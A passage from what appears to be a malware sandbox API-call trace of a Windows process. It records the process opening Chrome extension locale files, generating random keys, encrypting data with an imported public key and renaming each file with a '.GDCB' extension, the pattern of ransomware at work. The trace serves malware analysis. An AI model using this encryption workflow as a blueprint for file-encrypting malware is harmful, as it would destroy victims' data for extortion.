pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.375] GetLastError () returned 0x0 [0273.375] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.375] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.376] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.378] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.380] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x269, lpOverlapped=0x0) returned 1 [0273.389] VirtualAlloc (lpAddress=0x0, dwSize=0x270, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.394] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.gdcb")) returned 1 [0273.399] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.404] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.404] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.404] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.404] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.406] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.408] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.409] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.411] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ada0) returned 1 [0273.411] CryptGetKeyParam (in: hKey=0x679ada0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.411] CryptEncrypt (in: hKey=0x679ada0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.411] GetLastError () returned 0x0 [0273.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.411] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.413] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ae20) returned 1 [0273.413] CryptGetKeyParam (in: hKey=0x679ae20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.413] CryptEncrypt (in: hKey=0x679ae20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.413] GetLastError () returned 0x0 [0273.413] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.413] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.414] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.417] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.419] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x269, lpOverlapped=0x0) returned 1 [0273.433] VirtualAlloc (lpAddress=0x0, dwSize=0x270, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.439] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json.gdcb")) returned 1 [0273.444] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.447] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.449] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.449] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.449] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.449] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.453] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.453] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.453] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.455] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b060) returned 1 [0273.456] CryptGetKeyParam (in: hKey=0x679b060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.456] CryptEncrypt (in: hKey=0x679b060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.456] GetLastError () returned 0x0 [0273.456] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.456] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0273.458] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aae0) returned 1 [0273.458] CryptGetKeyParam (in: hKey=0x679aae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.458] CryptEncrypt (in: hKey=0x679aae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.458] GetLastError () returned 0x0 [0273.458] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.458] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.459] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.462] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.464] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2b8, lpOverlapped=0x0) returned 1 [0273.504] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.510] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0273.516] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.521] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.521] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.521] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.524] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.526] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.526] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.526] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.526] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.528] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aba0) returned 1 [0273.528] CryptGetKeyParam (in: hKey=0x679aba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.528] CryptEncrypt (in: hKey=0x679aba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.529] GetLastError () returned 0x0 [0273.529] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.529] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.531] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679abe0) returned 1 [0273.531] CryptGetKeyParam (in: hKey=0x679abe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.531] CryptEncrypt (in: hKey=0x679abe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.531] GetLastError () returned 0x0 [0273.531] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.532] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.535] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.537] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x29b, lpOverlapped=0x0) returned 1 [0273.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.562] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json.gdcb")) returned 1 [0273.567] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.572] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.572] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.572] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.572] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.577] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.577] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.577] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.577] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.580] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b020) returned 1 [0273.580] CryptGetKeyParam (in: hKey=0x679b020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.580] CryptEncrypt (in: hKey=0x679b020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.580] GetLastError () returned 0x0 [0273.580] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.580] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.582] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a8e0) returned 1 [0273.582] CryptGetKeyParam (in: hKey=0x679a8e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.582] CryptEncrypt (in: hKey=0x679a8e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.582] GetLastError () returned 0x0 [0273.582] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.582] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.583] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.586] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.588] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x261, lpOverlapped=0x0) returned 1 [0273.597] VirtualAlloc (lpAddress=0x0, dwSize=0x270, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.603] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.gdcb")) returned 1 [0273.608] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.614] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.614] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.614] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.618] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.618] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.618] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.619] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.621] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ace0) returned 1 [0273.621] CryptGetKeyParam (in: hKey=0x679ace0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.621] CryptEncrypt (in: hKey=0x679ace0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.621] GetLastError () returned 0x0 [0273.621] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.621] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.623] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a9a0) returned 1 [0273.623] CryptGetKeyParam (in: hKey=0x679a9a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: 